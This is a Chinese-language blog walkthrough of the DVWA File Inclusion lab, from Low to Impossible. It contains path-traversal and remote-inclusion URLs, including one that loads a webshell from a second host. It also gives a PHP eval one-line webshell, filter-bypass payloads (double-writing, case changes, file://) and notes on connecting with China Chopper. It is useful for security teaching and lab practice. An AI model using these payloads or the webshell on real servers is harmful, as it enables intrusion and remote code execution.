DVWA-文件包含全等级绕过方法-爱代码爱编程
dvwa文件包含File Inclusion全等级绕过
前言
文件包含漏洞:开发人员为了使代码更灵活,会将被包含的文件设置为变量,用来进行动态调用,从而导致客户端可以恶意调用一个恶意文件,造成文件包含漏洞。
一、Low级别
如果你打开发现有红色报错The PHP function allow_url_include is not enabled.可以参考此方法解决:https://blog.csdn.net/weixin_43847838/article/details/111087969.先查看源代码(View Source)
:
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
?>
可以看到它没有对page参数进行任何的过滤
1.1分析文件包含漏洞测试网页
进入http://192.168.43.131/dvwa/vulnerabilities/fi/?page=include.php
分别点击file1.php、file2.php、file3.php
这个时候会发现一个问题,仅仅是page后面的参数在变化。
进一步分析:
尝试在page后面输入test.php
在页面中会提醒,找不到test.php文件,test.php是我们随便测试的,自然没有。
同时,页面提醒中也暴露出来绝对路径。那么,说明服务器会去寻找这个文件,漏洞自然存在。
1.2 构造URL暴露重要信息
测试本地文件读取:
验证一下,先新建窗口,url处输入
http://192.168.43.131/dvwa/php.ini
成功读取到了这个配置文件
接着返回dvwa文件包含漏洞出输入url:http://192.168.43.131/dvwa/vulnerabilities/fi/?page=../../php.ini
得到
This file attempts to overwrite the original php.ini file. Doesnt always work. magic_quotes_gpc = Off allow_url_fopen on allow_url_include on
成功读取服务端的文件。
1.3 测试本地脚本运行
先在浏览器中新建窗口,url处输入:http://192.168.43.131/dvwa/phpinfo.php
得到PHP环境的配置信息。
再返回dvwa文件包含的page参数后面进行输入,构造url:http://192.168.43.131/dvwa/vulnerabilities/fi/?page=../../phpinfo.php
表明:文件包含漏洞不单单能读文件,还能执行文件,从这个漏洞上可以看出能够导致重要的敏感信息泄露。
1.4 测试远程脚本运行
在page参数后面更改输入,改成百度的域名尝试一下能不能打开网页http://192.168.43.131/dvwa/vulnerabilities/fi/?page=http://www.baidu.com
哟,成功了,说明这个是可以进行远程的,既然来都来到这一步了,如果把www.baidu.com改成一句话木马文件让这个文件执行,是不是就能用菜刀把整个目标拿下呢?干脆练练手
1.5 包含一句话木马文件,并用菜刀连接
思路:
先在b服务器放置webshell.txt
然后在a服务器找到文件包含漏洞
接着通过a服务器去包含b的webshell.txt
然后用菜刀连接
测试前缕清关系
a就是我的kali(192.168.43.131)
b就是我的window(192.168.43.134)
1.5.1 一句话木马
<?php
echo "hello my work!";
@eval($_POST['value']);?>?>
先新建一个webshell.txt文件,放在根目录下
回到dvwa,url处输入:
192.168.43.131/dvwa/vulnerabilities/fi/?page=http://192.168.43.134/webshell.txt
回车,成功输出了字符hello my work! 说明这个txt文件已经被执行了!
1.6 上菜刀
成功连上了!
题外话,菜刀连不上可能是你的马写错了,还有url,要细心检查。如果连上以后,发现点击里面的文件夹打不开了,这个时候可以试试点击左上角的清空缓存库。
二、Medium级别
查看源代码(View Source)
:
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );
?>
可以看到多了str_replace()
函数,上面两行过滤代码的意思就是将http://
,https://
,../
, ..\
"都替换为空””。既然 ../
被过滤了。那么,此时,就不能用../
进行目录跳转。
可以通过双写,大小写来绕过,或者使用绝对路径来绕过
2.1双写绕过
192.168.43.131/dvwa/vulnerabilities/fi/?page=htthttp://p://www.baidu.com
2.2大小写绕过
192.168.43.131/dvwa/vulnerabilities/fi/?page=HtTp://www.baidu.com
2.3 绝对路径绕过
将文档放进C盘http://192.168.43.134/dvwa/vulnerabilities/fi/?page=C:\phpinfo.txt
三、High级别
先尝试随便输入一个,看一下会报什么错误http://192.168.123.102/dvwa/vulnerabilities/fi/?page=haha.php
出现
ERROR: File not found!
报错页面和前两个等级不同,这次提醒中没有爆出来路径,我们查看一下源代码
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}
?>
原来如此!分析一下这个代码
high级别的判定条件是:
if( !fnmatch( “file*”, $file ) && $file != “include.php” )fnmatch()
函数根据指定的模式来匹配文件名或字符串。fnmatch( "file*", $file )
可以理解为,检查传入的$file
是否匹配给出的shell通配符”file*”
,如果匹配成功则返回true,否则返回false。
所以这段代码的意思就是包含的文件名中需要以file开头,或者file就为include.php,否则就输出报错 “ERROR: File not found!”。
所以这里就可以通过file协议来包含本地文件来进行绕过
3.1 file协议包含本地文件来进行绕过
file协议,访问本地计算机中的文件夹的文件传输协议。
输入http://192.168.43.131/dvwa/vulnerabilities/fi/?page=file:///var/www/html/dvwa/phpinfo.php
当然啦,在windows系统下也是一样的,也是可以读取的192.168.43.134/dvwa/vulnerabilities/fi/?page=file://C:\phpinfo.txt
成功读取。
四、impossible级别分析
查看源代码
:
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Only allow include.php or file{1..3}.php
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}
?>
可以看到这里的过滤代码规定了可以被包含的文件名,也叫白名单模式,只要文件名和白名单上的不一样就没有办法包含,就不会有安全问题,也就避免了文件包含漏洞的产生。
总结
impossible级别
只允许4个文件名,有效防止了文件包含漏洞。
黑名单方法–例如Medium,效果一般。
白名单方法–例如high和impossible级别,特别有效。
本站所有文章均为原创,欢迎转载,请注明文章出处: https://blog.csdn.net/weixin_43847838/article/details/111088010.。百度和各类采集站皆不可信,搜索请谨慎鉴别。技术类文章一般都有时效性,本人习惯不定期对自己的博文进行修正和更新,因此请访问出处以查看本文的最新版本。
版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。 本文链接: https://blog.csdn.net/weixin_43847838/article/details/111088010